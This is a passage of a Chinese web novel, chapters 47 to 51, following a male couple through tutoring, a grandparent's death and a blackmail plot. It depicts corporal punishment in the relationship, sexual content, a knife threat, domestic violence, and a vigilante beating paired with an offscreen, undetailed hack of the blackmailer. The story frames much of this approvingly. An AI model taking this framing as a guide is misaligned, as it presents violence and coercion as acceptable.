女店员是最先知道的,是萧疏在逼老板学习,她会心一笑,挺好的。 时间这么久,她考研上岸了,但还在这里工作,方闻钟再也没想起过要辞退她。 萧疏说教他是真认真教,每晚抽时间过来,详细给他捋一下三节课讲了什么,他讲的方闻钟能听懂的越多!方闻钟就越有满足感! 于是为了这种愉悦和自豪,他也越发认真起来,争取让萧疏晚上刮目相看。 萧疏说的奖励,要么哄他,要么亲他,有时候还会给个惊喜,来个小礼物,要么周末带他去约会,去玩儿! 方闻钟把学习这件事,渐渐当做维系他和萧疏的利器,超级上心! 除此之外武侠小说也没落下,就是英语实在让他难过,学不会就是学不会……每次听到萧疏流利的口语替他讲解,他又崇拜喜欢又生出猴年马月才能做到这样水平的距离感…… “不急,”萧疏耐心地贴着他嘴巴,干脆从最简单的发音给他教,“张大嘴巴。” “啊——” …… 萧疏在某个深秋的晚上,拉着方闻钟看了一部外语电影。 关于两个男人的。 方闻钟看着中文本幕,英文多多少少能认识几个,磕绊着看完,他有些疑惑又有些紧张地问萧疏,“他们?” “他们相爱,这是一部关于男性之间恋爱的电影。”萧疏给予他肯定回答。 电影很含蓄,也很日常,可迷人又感伤的氛围感很强,萧疏这么一说,所有画面方闻钟都懂了,“原来还有这种电影啊,这不是不被允许的吗?” 又叹了口气,“他们之间真可惜……明明互相喜欢的。” 两个人紧紧贴着,萧疏第一次正式朝他科普,“不是不被允许的,方闻钟,感情一事从古到今谁都禁止不了,男人之间是这样,女人之间也是这样。” 他们在昏暗的电影灯光下,面对面,被萧疏认真的视线抓住,方闻钟一时心提到嗓子眼,“这种,叫同性恋。” 萧疏掷地有声地说。 “它也很美好,没有任何人或组织有资格禁止它,消灭它,它生生不息,就藏在普罗大众心里,就在我们看不到听不到的时间或角落,慰藉着被它包容的人。” “但同时,它也很混乱,很难界定让不了解它的人了解它接纳它,所以会滋生误会,会有人陷入其中自甘堕落。” “无论怎样,不能否认它是一种客观存在的感情或物质,方闻钟,我们不是在犯错,我们没必要有罪恶感,视线放到更广阔的地方,或更远久的未来,关于它的正当和合理性,都在一步步被正名。” “国外有些国家可以结婚,而国内因为国情、历史思想,或更复杂的原因,还处于混沌状态,这才是我对你说的两个男人在一起要面对的不幸。” “他人即地狱,但外来者目光和口舌,不是我们用来谴责自己的,而是坚定自己的内心。” 我爱你,这不是错。 方闻钟不知不觉,就拉着萧疏的手,他紧紧抓着,脸颊紧绷,眼睛里湿润又固执地看着萧疏。 萧疏抱住他,拍拍他的背。 第二天,萧疏又一次打开了那个带方闻钟看论文的软件。 方闻钟于是头一次,看到如此科学详细的关于同性恋的东西,他有些痴迷,有时候眉间紧锁,有时候又姿态放松,他会看很多很多关于这方面的科普或见解。 新的东西进入他的大脑,让他又一次切切实实地明白了他和萧疏在干什么。 不论是从精神上,还是肉|体上。 冬日来临,他和萧疏走在雪地里一起去买鞋,他会在两人穿上一样的鞋子款式时,老板说两兄弟穿一样真好看,他们转身。 方闻钟在雪地里拉上萧疏的手。 第48章 方闻钟心里一阵惊慌。 “又一个单词不记得时,啪,”戒尺一下落下,打在皮肤上的声音,让闻者一颤。 可持戒尺的人严肃冷酷,他的手劲很快在方闻钟身上落下红痕。 不肖一个小时,方闻钟屁股后背,已经被抽得红通通!有些红痕甚至边缘都有了凸起的肉痕,泛着红晕晕的白。 方闻钟趴在床上身体一跳,但不敢反抗萧疏,他又没记住,这是萧疏对他的惩罚。 他说:“学生不乖,就要受到体罚的,”方闻钟在英语上下得功夫少,单词更是不愿意记,哪怕萧疏前一晚特意针对他口型给他教了,第二天还是忘。 于是某一天,萧疏回家带了把戒尺。 初时,方闻钟还不知道那是干啥的,拿起来玩了两下,晚上,当萧疏把它带到床上时,他大脑一片空白,不会是萧疏要在做那种事的时候玩吧,这种怎么说?专业名词叫情趣。 方闻钟一晚上提心吊胆,可是当天晚上啥事没有。 萧疏在忍了他一周后,终于在他又敷衍了事,随便读读英语,不认真学,不认真记时,让他脱掉衣服裤子,接受惩罚。 戒尺一下打在屁股上!比疼更让方闻钟汗毛直立的,是羞耻!是尴尬的爽! 他双手紧紧抓着床单,可萧疏冷漠的嘴角,继续向他考察下一个单词。 他那晚几乎一直在挨打,后来终于不爽了,剩下的全是疼…… 方闻钟没忍住哭了出来。 萧疏只有在全部考核完,才会摸摸他的后脑勺,说:“长记性了吗?” 他气得直接张大口咬住萧疏的大腿!他在报复他!可萧疏忍耐力极强!竟一动不动。 他有点咬不动了,方闻钟才感觉到他后脖颈里的手松开了,刚才他竟然像一条蛮横的狗,他不知道再咬下去,萧疏会不会从后面把他提起来。 屁股后背上的伤好几天才好,耽误好多事,包括他照顾书店,也包括他们亲热。 方闻钟不好,萧疏不动他,可方闻钟一次挨打结束,下次又多多少少再挨几下,所以他一直好不了…… 一两个月过去,是方闻钟先忍不住了。 他把小梳子堵在卫生间,让他给自己用手帮助他,萧疏不答应,方闻钟又气又恼,还好,萧疏愿意让方闻钟听着他的声音自己手动,萧疏说了什么话,方闻钟全忘了。 总之,他听着他嘶哑的嗓音,听着他沉沉地骂他或调戏他的声音,方闻钟在萧疏眼皮子底下,头脑一片空白。 事后,他缓了好几天,方闻钟曾问过,戒欲是两个人的事,萧疏为什么一直能忍得住? 萧疏说:“七八年忍过来了,不在乎这一时……方闻钟,为了这个,你也得好好学习。” 他对他笑着咬耳朵。 后来总算挨打的少了,再挨几下,也算某种情趣。 一年过去,方闻钟的英语突飞猛进。 在萧疏读研三的这一年,方闻钟终于能磕磕绊绊会读会写,会听会说,达到了差不多六级的水平。 其他课也没落下,学习让方闻钟的心态越来越年轻,再加上身边全是大学生,他总觉得自己越来越小了,路小远换了几处工作,终于在一家网吧安顿了下来,他见到方闻钟时,都有点不敢认。 他和方哥,好像是两个世界的人,这种错觉,上一次如此明显,还是路小远第一次见萧疏时感觉到的,但方闻钟对待他倒没多大变化,依旧挺照顾他,关心几句。 这些都是萧疏的功劳,是萧疏一点点把灰沉沉的摇摇欲坠的方闻钟,拉上独木桥,然后迈向旷野之地! 萧疏在学校的实验终于告一段落,他给方闻钟打电话,“今晚回去,哥哥在干什么呢?” 方闻钟正在学校操场上打球,球场上有他认识的大多数不认识,其中一个,就是萧疏的室友,他们不是同一个专业所以室友有空萧疏没空他也会越过萧疏直接联系方闻钟一起玩儿。 方闻钟的书店,在学校还是有点名气的,于是也有球友不乏给他起了个外号,以“方老板”代称他。 室友看着方闻钟接电话,朝他做口型,“萧疏啊?” 方闻钟点头,然后在电话里说:“那我也马上回去。” “这就走啊,你太惯着他了,你又不是他亲哥,”室友转着篮球,满头大汗,爽朗地对方闻钟道。 方闻钟只是笑笑,然后在偶尔几声“方老板?”快速回了家。 回去时三下两下,洗了个凉水澡,然后快速洗菜备菜,给萧疏做饭,做饭期间,他已经习惯外放课程了,无论是什么课,听着随便留个印象也好。 炒到第三个菜时,萧疏进来。 姥姥不小心把桌子上的糖果打翻在地上,她弯着腰不好捡,萧疏蹲在地上一颗颗捡起来,装好,给她手里只塞了一颗,“少吃点,吃多了不好。” 然后就准备进去厨房,却被姥姥拽住衣角。 萧疏回头,很快姥姥松开了,继续看着糖果,她再没叫错过他大孙子,已经有半年多之久…… 抱住方闻钟的腰,方闻钟吓了一跳,厨房里声音吵,他都没听见他进来,萧疏下巴搭在他肩膀上,向前看去,“快好了吗,哥哥,好饿。” “好了好了,马上就好,”方闻钟哄他,萧疏就当个大挂件,一直到饭菜端到桌上,他们才分开。 吃完饭,带姥姥去散完步,回来时,萧疏说:“这周末我的师兄师姐们打算去一个山上露营,你想去吗?想去我们一起去?” 方闻钟惊了一下,萧疏的师兄师姐,方闻钟都没见过。 “那里环境挺好的,露营也很有意思,你要想去,我们可以自己去,只是一起搭车,因为有点远,但到地方不一起行动也行。大家没那么多要求,自己高兴就好。” “这样好吗?”方闻钟有点心动了。 萧疏在他问出这句话时,已经笑着下单露营装备,“没什么不好的,又不是小孩子,还非得在一块儿。” “那好吧,那我们蹭个车,”方闻钟已经蠢蠢欲动。 出发时,果然他们租了一辆中巴,人不多,都有自己的伴,分开坐着也没人来打扰探讨方闻钟和萧疏什么关系,只是在萧疏第一次带方闻钟来时,朝他笑一笑,随便寒暄几句。 车开到山下,需要自己再走大约半小时路程,方闻钟和萧疏背着他们的装备、食材,先行往山上爬。 山脚下自然也能露营,停了不少车,但山上风光好,所以有体力的,也愿意像他们这样,不开车,只人上去! 走着走着,方闻钟要拉萧疏的手,萧疏说:“我不累,不用。” 方闻钟尴尬了一下,说实话,“他们都拉着走,我们拉着,也当我们是互相帮扶……”谁能看出来他们只是单纯想牵手。 萧疏都愣了一下,很快他笑得异常好看,率先拽起方闻钟胳膊,然后拉着他大步往上跑! “哎!” 在方闻钟被他惊到,在他们大声笑出来时,手一点点滑下去,和他五指相扣。 扎帐篷这种活,方闻钟似乎天生有天赋,他很快邦邦邦敲钉子,把帐篷扎好了,外套脱掉,他赤膊擦了一下额头,“萧疏,你看这样可以吗?” “嗯,把气垫弄起来。” 忙活到太阳快落山,他们总算在一处没什么人的草地上把晚上睡觉的地方弄好,接下来一步就是吃东西。 带来的都是简易食材,方闻钟往水边去时,看到那边竟然有人抓鱼烤鱼! 还有卖的! 他兴奋地过来和萧疏说:“我们自己去抓呗,也能自己烤!” 两个人赤脚踩在水里,玩到天黑,鱼都没吃着……在方闻钟自己先回帐篷,换衣服时,萧疏买了最后两条鱼,带回来。 坐在草地上,趁着将暗未暗的夜色,两人咯吱咯吱把鱼吃完,方闻钟边洗手还边放狠话,“回去我就学抓鱼!” 凉风吹在身上,太惬意了,他们就躺在离帐篷不远的地方,头顶的星空,也璀璨又华丽,它们宛若一颗颗坠在黑色天鹅绒幕布上的钻石,熠熠生辉,有些又如或明或暗的萤火虫,不起眼却神秘…… 所有的星座萧疏都能娓娓道来,给方闻钟说道,他们在草地上接吻,连远处有人靠近的脚步声都没听到。 帐篷里的那盏灯,也熄灭了。 “不好洗,”这是萧疏的声音。 “小梳子,想”这是方闻钟的声音,他趴在萧疏身上,倒没再害怕压到萧疏,他也学着萧疏那样,舔他胸口的部分。 然后嘴巴湿润抬起头来,在萧疏脖子里蹭几下脑袋,“小梳子。” 第一次用这种姿势方闻钟承受得很艰难,他又很新奇,萧疏总让他学习很多知识,学多了也有好处,比如,他会在某些事上,丢弃羞耻心,会渐渐认为这是正常的,某些时刻,不用萧疏要求,他自己的尺度就很大。 最后时刻,他弄出来的东西,倒是擦一擦就好,萧疏换了件衣服。 可萧疏……他噙在嘴里,全吃下去了。 不方便弄到后面,方闻钟不忍心看到萧疏皱着眉头,于是胆子大到惊到萧疏。 萧疏一下坐起来,最终,手指蹭了蹭他脸颊。 半夜方闻钟出去上厕所时,忽然看到不远处有个人一直盯着他,他刚把手机揣兜里,黑暗里方闻钟看不清那人长啥样,不高,也不矮,挺瘦,头发很长挡到了他眼睛。 方闻钟撒完尿,他还盯着。 “有病?” 方闻钟骂了一句。 那个男人,看着方闻钟,手在裤子里紧紧握着手机,他还拍到了萧疏,在萧疏跟过来之前,他立马走了。 “漱漱口,”萧疏说。 “好,”方闻钟突然感觉心一阵猛跳,好像有点惊慌,似乎是一种危险的预言,尽管他抓着萧疏的手臂。 第49章 “信不信他妈老子一刀把你宰了!” 姥姥去世了,在两年后的一个很平常的夜晚。 这些年方闻钟经常带姥姥去检查身体,平日里也悉心照料着,除了脑子不记事,姥没有其他大病,连医生也说小辈操心得很好。 可是她还是走了,因为上了年纪。 方闻钟似乎有某种预感,前几个月,他就开始时不时非常担心姥姥,害怕她哪儿疼了,害怕她突然食量下降,或走路走不稳,可姥姥虽然身体机能日复一日下降,精神状态还好。 连续紧绷了这么长时间,方闻钟渐渐松懈下来,以为姥姥能度过这个秋天。 就连前一天下午,姥姥拉着他的手,抿着嘴呀呀地说着什么,方闻钟都能耐心笑着一一回应。 尽管可能牛头不对马嘴。 那天晚上,萧疏也陪在身旁,他看着温情的两人,独自坐在一边,没打扰他们。 最后要睡了,萧疏和方闻钟出去时,背后的姥姥伸长手,手指的却是萧疏。 两个背影离开,姥姥的手最后还是没有够到萧疏。 第二天,她没醒过来,彻底睡着了。 方闻钟眼睛哭肿了像个核桃,半个月没缓过来,萧疏陪着他火化姥姥,然后把姥姥带回老家,入土为安,他给姥姥办了一场葬礼,他妈也来了,掉了几滴眼泪,最后临走时,看到压根没哭的方闻钟,只问他,“还要钱不?” 方闻钟没抬头,他妈被萧疏的眼神吓回去了,不再找事,他们母子俩就这样匆匆一见,又彷佛陌生人,消失于彼此的生活。 回到省城,方闻钟感觉家里空荡荡的,萧疏跟他说了他和姥姥的秘密。 他说‘高三毕业那年,他喜欢方闻钟,知道方闻钟被判刑坐牢了,他很伤心很担心他!他去他家里,看到姥姥中风倒在地上,把姥姥送去医院抢救过来,然后说话情绪激烈时,没忍住跟姥姥说明了他对她孙子的感情’。 姥姥破口大骂‘害方闻钟坐牢还不够,是要把他一辈子拖到地狱里去啊!你萧瘪三的儿子不是个好东西,就一直祸害我的大孙子’!姥姥哭到晕厥,手臂上的吊瓶都被她扯开了,非要把萧疏打出去,‘滚!你这个恶心的东西!我不要你等钟钟,你再接近他我就吊死在你面前,做鬼也不会放过你!’。 现在,直到姥姥去世,她似乎也不知道,萧疏又和方闻钟在一起了。 萧疏抱着方闻钟说:“会感觉到愧疚吗?对姥姥。” 方闻钟本来神情恹恹,却认真回道:“不会,萧疏,姥姥不明白我们之间的感情,我作为孙子却问心无愧,我自认为我对姥姥很孝顺,但我也不会因为孝顺姥姥,就不要你,离开你,我想姥姥也不会怪我吧,”他说着又难过起来。 “知道我这么幸福,她知道了也会原谅我的。” 把人彻底抱紧,萧疏拍着他的后背,眼神穿过房屋,似乎又回到了好多年前的那个夏天! 他对方闻钟说了谎。 那是‘原萧疏’经历的事,‘他’怎么可能喜欢方闻钟? 事实是‘萧疏’知道方闻钟坐了牢,他大学的学费还没凑够呢,就跑去方家,试图弄点钱,可恰好,遇上发病的姥姥。 到底还有点人性,他把姥姥送去医院,没见死不救。 姥姥醒过来后,医药费把钱都花得差不多了,她还是骂了‘萧疏’,怪他害了她孙子,也的确说了,‘以后不许再接近方闻钟’。 ‘钟钟倒霉,就当过去几年认识了个畜生,好心帮了一场,为他下辈子积德’,姥知道‘萧疏’这时候来她家,是来搞钱的…… 最后姥依旧给了‘萧疏’五千块钱,她很坚强,没有大哭大闹,‘你救了我,我们就算两清了,你要还存着点良心,没被狗吃了,以后就离钟钟远远的……我们招惹不起你,还躲得起’。 ‘钟钟玩不过你,我这把老不死的也不能拿你怎么样,但你要再敢食言,我拚死也不会让你好过!’ 善意的谎言,能让方闻钟心里不留着一个疙瘩。 姥姥怪的,也不是他。 萧疏对老人也没有愧疚,顶多因为她的去世,因为方闻钟的难过,也有些情绪波动罢了。 从此以后,萧疏便成了方闻钟唯一的家人。 方闻钟存了不少钱,打算买个房,他想给萧疏一个惊喜,于是数了数账户里的钱,还没告诉他。 可突然,一件事打乱了他的生活。 有陌生人发来他和萧疏的亲密照片,威胁他!跟他要钱! 他被勒索了! 方闻钟紧紧捏着手里的手机,上下颌紧咬,脸颊绷紧如临大敌!手机显示屏上有十多张他和萧疏抱一起,或亲一起的照片! 那些场景方闻钟回忆一下,有些甚至是两年多前的! 他感觉到一阵后怕,以及刻骨的愤怒! 发照片的人说:“还有更亲密的呢,不想被人知道,就老老实实打钱过来!要是敢报警!就立马把这些照片公布到校园网上!” “甚至不用你们的床照,只看你们走在路上牵手的照片,都知道你们是两个娘炮、小基佬吧。” 方闻钟略过对面膈应他的字眼,这些照片有些视角远,有些很近,就是偷拍的!方闻钟不确定那人说有他们更亲密的照片甚至床照是真的,还是唬他? 他们约好了碰头时间和地点。 全程避着萧疏。 此时方闻钟还想自己处理,看不行了再告诉萧疏,可接下来的碰面打消了他这个念头。 方闻钟一见到那个瘦瘦的,头发盖住阴毒的眼睛的男人,突然灵光乍现!他见过他! 原来是他呀,方闻钟拳头在衣服兜里攥紧,忍了又忍,跟他说话。 “把照片全给我,我给你钱。” 方闻钟一上来,就这么大方,那人明显跟踪调查过他,挺了解,知道方老板有钱……嚣张地道:“怎么可能,钱要一笔一笔敲诈,”他笑得诡异,“你先给我一千,我把这十几张照片删了,”他掏出自己的手机,晃了晃。 说时迟那时快,方闻钟抢过他的手机!一下摔坏了!然后捞起人就几拳,直接把那人牙齿砸掉了一颗! 男人摇摆着站不稳,一摸脸,全是血! 他有点害怕,可还是挑衅方闻钟,“你他妈以为我没备份吗!你再动我一下试试,我让你们都身败名裂!”他发狠地把手里的血全抹在方闻钟衣服上。 方闻钟气急,还是咬紧牙关,“你和萧疏是同校的?” “那可不?谁不知道萧疏的大名?你信不信,我一发出去,他保准更成名。” 方闻钟不愿意见到那样的画面,最后交谈无果,方闻钟妥协,给了他一千。 他独自一个人扔了弄脏的外套,往家里走,眼神灰败面色惨白,耳朵里一直回荡着那男人刚才对他说的话。 方闻钟现在早不是因为自己和萧疏谈恋爱,因为两个男人、同性恋,而自卑觉得犯了天条的时候了,他知道他们没有错! 所以他会反抗! 他像一个正义的学者,给那人科普,同性恋是多么正常和普遍,他们亲密没有错,他们和每一对情侣一样,所以不该被拿来威胁。 那人听着方闻钟的长篇大论,耳朵起茧子了,随即他笑着掏了掏自己的耳朵,吐出不是人的话,“方老板,你可真他妈幼稚!” “你是小孩吗?还搞这套?我他妈浪费时间听你说这些,怎么,要不我给你再直白地解释一下?” “谁他妈管你们有没有错?我只知道,这些照片一发出去!你和萧疏的床照一被人看见!萧疏就他妈完了!” “怎么完了你是不是还不明白?” “萧疏最近在被考核留校任教,他这几年倒是论文发表的不少,考核通过,他可能就是我们学校最年轻的副教授了,可你听说过哪个学校的老师,是公开的被人知道的同性恋吗?” “你他妈没上过学,是不是不了解啊。” “别说有照片,就是没照片,学校都不可能留他!这是大忌!学校不会犯这种低级的政治错误,学校领导对萧疏没信任了!害怕哪天就捅出个大篓子!这才是实情,你以为只是简单地蛐蛐几句?” “除了学校,所有认识萧疏的朋友,同学,都会觉得他很恶心!他们私下里怎么看萧疏?怎么讨论他?” “不仅是本校,萧疏的前途都完了!他会身败名裂!无处可去!他是不是最想当大学教授啊,或者以他的才学进研究所更合适,可你就是他身上一辈子的污点!” “知道的人越多,这个污点越大!方老板,你还觉得这是你们两个人的小事吗?……” 方闻钟这才知道,萧疏说过的,他们在一起会不幸,是真的。 真的有那么多见不得人好的,明明自己卑鄙,却妄想把他们打上“败类”的标签的人。 他心里一团烈火又旺又被他可怜地压制住,姥姥走了,萧疏就是他唯一在意想护住的人,可是那人说的也可能是真的,他真的对萧疏而言,是一个污点、累赘。 他痛苦地捂住眼,为什么,为什么报应、被陷害的人,不是落在他身上,而是危及到萧疏。 他宁可自己被万人指摘,不愿意影响到萧疏一点光明的前途。 给那人送了五次钱,加起来一万多,方闻钟还没想到怎么弄到那人备份里全部的照片,第五次时,他实在受不了难受,拽着那个男人的领子,威胁他:“你他妈以为我是个好人是不是?一次两次三次,”他眼睛发红,手里掏出一把刀子,对准别人的肚子。 “老子十九岁就杀过人,为此还坐过牢,你真以为老子大度,好欺负是不是?” “信不信我他妈一刀把你宰了?” 那人吓尿了,跌跌撞撞跑了,方闻钟不知道还有没有下一次,可是把人吓跑后,他自己也扔了刀。 原地手抖着,再也站不起来。 这个世界上,别人有可能杀人,可方闻钟是最不可能再犯这种罪的人了…… 他害怕。 他抱着手机,看着刚要回来的几张照片,有一张,他们应该是在外面。 萧疏靠在栏杆上,他抱着他,方闻钟被亲著,萧疏的手伸进他衣服,落在上面,撩起来一截衣角…… 一滴泪砸下来,砸在两人脸上。 方闻钟颤抖着,亲上显示屏。 第50章 萧疏一拳砸在方闻钟脸上。 经过酒吧一条街,方闻钟穿着一套黑衣服,戴着黑帽子,街边零零散散有不少人从酒吧出来,男男女女勾肩搭背,上了一辆一辆车。 这些暧昧都和方闻钟没关系,他低着头目不斜视。 后面有三个男的在纠缠一个女的,那女的戴着大耳环,打扮时髦又清凉,夜晚的寒冷,让三个男人对女人露出来的手臂和腿上下其手,“哥哥给你衣服穿。” “跟哥走。” 方闻钟还是回头了,他从三个弱鸡手里一下把女人救回来!“喂!你谁啊!” 他们试图对方闻钟动手。 方闻钟帽檐下的脸颊和眼睛露出来,他眼睛发红,今晚浑身散发著不好惹的气势,三个男人明白这是遇上硬茬了,在原地要走不走。 怀里的女人不安地扭动,方闻钟看了一眼,很漂亮,但太蠢了,好像在哪个男人怀里她都能露出这样好欺负的表情,把自己陷入危险…… 他拽着女人离远了些,男人们跟上前还打算做什么,恰时!女人一下扒住方闻钟的衣服,差点滑倒在地上! 他衣服兜里的一把小刀,就那样明晃晃掉了出来,哐当,落在他们和三个男人之间。 突然宛若一条明显的分界线。 看到这个,那边顿时撒腿跑了,还在心里嘀咕,以为方闻钟好人做好事,谁知道他是不是比他们更……,黑吃黑啊。 方闻钟装好刀,问女人叫什么,住哪里,给朋友打电话,今晚要不是和邹凯碰面,他不会经过这里。 邹凯就是威胁勒索他的瘦男人。 可女人什么都不说,一身难闻的酒味,甚至想扒着方闻钟的腰,往他身上攀! 方闻钟厌恶地没忍住丢开她。 十几分钟后,他把她带到了最近的派出所,警察简单做了笔录,方闻钟就可以走了,出去时,他回头望了眼派出所的大门。 他求助他们,他们能让邹凯不把那些照片发出去吗?能从头到尾保密吗? 他垂着头,往家走去。 背后的派出所,警察问询:“名字。” “严慈。” …… 方闻钟知道萧疏最近又在忙他的学习,有时候三四天住实验室不回来也正常,一想到他这么努力,还那么有才华,就要被邹凯这样的小人惦记陷害,他就一阵阵凶恶、生气。 自上次吓住邹凯后,邹凯有好长时间不联系方闻钟。 但方闻钟并没有放松,反而更紧绷了,他坐过牢,他知道真正恶的人是什么样子,像邹凯这样的,他已经成功了五次,不可能因为一时害怕,就打消了继续的念头。 他只可能变本加厉! 方闻钟不知道下次他又会拿出什么样的照片,他心里装着事,萧疏再怎么迟钝,一次两次反常,也会发现的。 果然,当方闻钟切菜不小心出神时,萧疏一把从他手里把菜刀夺下来,扔到桌上,“说说吧,你最近怎么了?” 他双手插着兜,和方闻钟面对面,严肃问他。 方闻钟说:“萧疏,如果我们亲热的照片传出去了,被邻居、熟人,或随便什么人看到了,你怎么想啊?”他尽量用开玩笑的语气。 萧疏也用玩笑回他:“收费吗?不收费以我们俩的形象,演电影都行,便宜他们了。” 方闻钟大囧。 “出什么事了?” “没事,”方闻钟虽然慌,但时间长他也想明白了,邹凯那里顶多有他们拥抱亲吻的照片,不可能有其他,他们在床上很注意,萧疏的隐私权极其高,他只是在外面不避讳爱他罢了。 萧疏眼神下压,此时还没打算逼他。 方闻钟一打开这个说话的缺口,就又忍不住跟萧疏多说了几句,他一个人憋的时间长了,太折磨了,所以在萧疏这里暂时寻求一下安慰。 “你说有没有什么办法不让一个人乱说话?假如他有你的把柄的话。” 他看了眼萧疏,改口,“我看电影看到的,就是假如,一个人拿你最重要的东西威胁你,被暴露出去了会有很大影响,有什么办法可以制止他?怎么偷到他手里的把柄?让他再没有依仗。” 萧疏心思极重,几句话的功夫,方闻钟不明说,他也猜到似乎发生了什么。 他背着窗户,靠在桌子边缘,无情地说:“要让一个人没有发声的机会,有太多可操作空间了。” 方闻钟立马惊讶,“不能犯罪!正常……”他嘴角尬笑,“正常管道。” 萧疏侧头,“我说的也是正常管道。” 方闻钟还没有明白他在说什么。 “还是不想说吗?” “啊?” 方闻钟装傻。 萧疏给他时间,再给他一次机会,可这次的机会来得很快!晚上,就在萧疏眼皮子底下,十点多他们都打算睡了,邹凯打来电话紧急要钱! 他那边像个失去理智的疯子!狮子大张口!还威胁方闻钟,今晚钱不送到!明天早上萧疏就身败名裂! 他背过去接电话,回头,萧疏已经站在他身后。 风雨欲来。 “这是第几次,”萧疏直接问。 方闻钟:“……” “第六次,”方闻钟被逼到角落了,他实话实说,把邹凯是谁,一个多月前,几次威胁他他都说了。 “为什么一开始不告诉我?” “算了,这不是最重要的,”看着方闻钟泫然欲泣的眼睛,萧疏紧接着道:“一共被骗了一万多,方闻钟,你是蠢货吗?打算给那个无底洞送多少过去?你真天真!他骂得对,不是说你想不到照片公布出去的后果天真,而是送钱的行为天真!有一次两次,他就认为你是个好欺负的蠢货!你要妥协到什么时候!” “再给出去十几万?方闻钟,你的钱是大风刮来的?给那种废物!还是你要妥协到哪一天你们俩都忍不住了,彻底发疯干出什么好事对吧?” 被拎起来教训,方闻钟喘气都难,厉声道:“我才不是好欺负的!逼急了老子他妈弄死他!我跟你说,萧疏,我上次带刀过去就吓住了他。” 砰! 一拳头砸在方闻钟脸上,方闻钟愣了。 萧疏脾气上来,“听不懂人话是吧?” “你狠!你牛逼!怎么?逼急了要干什么?带把刀第一次吓人,第二次打算捅人?” “方闻钟,你他妈敢动这个念头,我第一个先弄死你!” 说着萧疏又踢了一脚地上的方闻钟。 方闻钟不敢放狠话了,他被萧疏激得泪流满面,抱住萧疏的腿,“小梳子,我没有,我不会,我是说胡话的你不要相信,我不会那样干的!”他哭得伤心,眼泪鼻涕直往萧疏腿上抹。 “可是他拿你威胁我,小梳子,你那么拚命,你值得一切成就和地位,可是要因为我,要因为邹凯手里的那些照片,把你的前途毁于一旦,我死都不甘心!凭什么!”他放声大吼。 “小梳子!我一定会弄来他手里的照片的!一定不会让其他任何人发现。” 萧疏一把提起他,“你要干什么!”方闻钟问道! “去学校主席台上亲给他看!怕什么发现,省得他白费一道程序了!” “萧疏你别发疯!”方闻钟死死拖住他,求他,“小梳子,你别拿自己的命运开玩笑,你知道这比挖我的心还让我难过。” 见他这幅样子,说到这个份上,萧疏再怎么没那么在意这件事,还是不忍心继续刺激方闻钟了。 他靠近他,亲了他一下,“方闻钟,从现在开始,把这件事交给我,我来处理,好吗?”- 方闻钟被压在床上,嘴角淤青,他还瘸着腿,萧疏挑眉,“我刚踢得有那么狠?” “没,”方闻钟不好意思道:“我太紧张了,有点抽筋。” “小梳子,你要智取吗?” “不然?像你一样拿把刀唬人?能唬得住第二次?” 方闻钟焦急,他觉得邹凯今晚的来电不太对劲,提醒了萧疏,萧疏不让他一起去,临走还说:“你要敢跟着,我明天就去校长办公室自己‘寻死路’!” 方闻钟被完美拿捏。 萧疏看到了一部分照片,他说得没错,要让人免费看到,真便宜他们了…… 他把手机揣兜里。 见到来人是萧疏,不是方闻钟,邹凯慌了一下!但很快!他慌不择路地直接拽住萧疏的胳膊,让他给自己转钱! “好,”萧疏嘴角勾起一抹微笑,“不过你要跟我去别的地方,这里人太多了。” 一个垃圾场里,萧疏蹲在地上,显示屏的光照亮他惨白的脸,地上躺着的人更是出气多进气少,邹凯的手机就躺在他眼前,萧疏没禁止他报警,或者留给他手机,就是为了让他看到接下来这一幕…… 萧疏的手机屏上一幕幕字母快速闪着,过去一段时间后,一张张照片出来,很多,还有邹凯他自己的! 邹凯惊恐地看着地上自己手机里传来同步的画面! 别人谁都能认错!但他自己不可能认错! 那是他计算机里的备份! 里面不光有所有萧疏和方闻钟的照片,还有很多他偷拍的其他男人的照片,都是男男的,陌生人,萧疏不认识,更有甚者,还有邹凯自己的秘密! “偷拍,要挟,赌博,床上玩得还挺花,辣眼睛!”他的底裤都被扒得不剩。 “你怎么突然这么怕我?还要钱吗?”萧疏突然站起来,吓得邹凯在地上艰难地向后扭动!他像看一个魔鬼。 手机显示屏上,一张张文档,全部被删除,他知道,有些还传到萧疏自己的手机里去了。 最后留在邹凯手机上的,是一张萧疏和方闻钟的亲吻照,很漂亮,萧疏竟然没删完。 “送你去该去的地方,接下来,你可别让我失望哦。”【你现在阅读的是 】 50-60 第51章 萧疏生气 “处理完了?” “嗯,”第二天萧疏回来,一身寒霜,早上的凉气全吸附在他身上,再带给方闻钟。 “他,他,”方闻钟紧张道:“邹凯还会要钱吗?我们的照片拿到了吗?” “拿到了,”萧疏把自己的手机扔给方闻钟,“想看自己看。” 方闻钟终于松了一口气,然后翻着萧疏的手机,那些他们之间亲密的照片,之前被邹凯用来威胁他,他只觉得害怕、颤抖,现在全保存在萧疏手机里,他却看得一点点放松下来,然后重温那些甜蜜。 他还想问萧疏怎么弄的,邹凯怎么会乖巧听话。 萧疏却打断他,什么也不透露,“我说了,这件事我来处理,你不要再插手。方闻钟,你最好乖一点,再犯蠢,哼。” 萧疏冷笑了一声,进去卫生间洗漱。 邹凯在两个小时前,被扔在市警察局门口,他手被捆在后面,嘴里也被烂衣服堵住,其实萧疏高估邹凯了,就算不捂住他的嘴,不绑住他的手,邹凯也没力气喊没精力动了。 他被打得全身剧痛,还看不出伤在哪儿。 邹凯身上,是他的“罪状”! 他的手机,他所有犯罪的证据,都被绑在胸前,一起扔在警局门口。 敲诈勒索、偷拍、卖|淫|嫖|娼、还参与赌博,简直浑身窟窿,哪一样都能让他在监狱里好好待几年。 警局上班了,看到有警察朝自己走过来!邹凯激烈地扭动,又想向警察求助,萧疏打了他,又害怕被抓被发现,他看着自己衣服前的东西,惊惧地往后躲! 但很快,他被连人带证物一起全推进审讯室! 关于邹凯,他自己也是同性恋,不然怎么可能发现那么多的同类,再利用他们害怕曝光的心理,骗钱搞钱,他关注萧疏很久了。 一开始,是忍不住被他吸引,爱慕他,崇拜他。 可萧疏天之骄子能记得住他是谁? 后来他竟然发现,萧疏和他那个哥哥,可不是好兄弟的关系。 第一次偶遇他们亲吻,是在一个山上的旅游区,他看到萧疏抱着那个人,心里嫉妒极了,对于别人,他总是刚偷拍到就立马勒索,可是萧疏他们的照片,他保存了整整两年多,还持续偷拍着…… 邹凯不知道自己以什么样的心理一直关注着他们,可当自己赌钱赌得要被剁手时,他终于把萧疏和方闻钟,放到了和以前那些男人同样的位置,他的钱袋子……- 方闻钟说:“邹凯为什么能那么了解同性恋?” 萧疏:“因为他也是啊。” 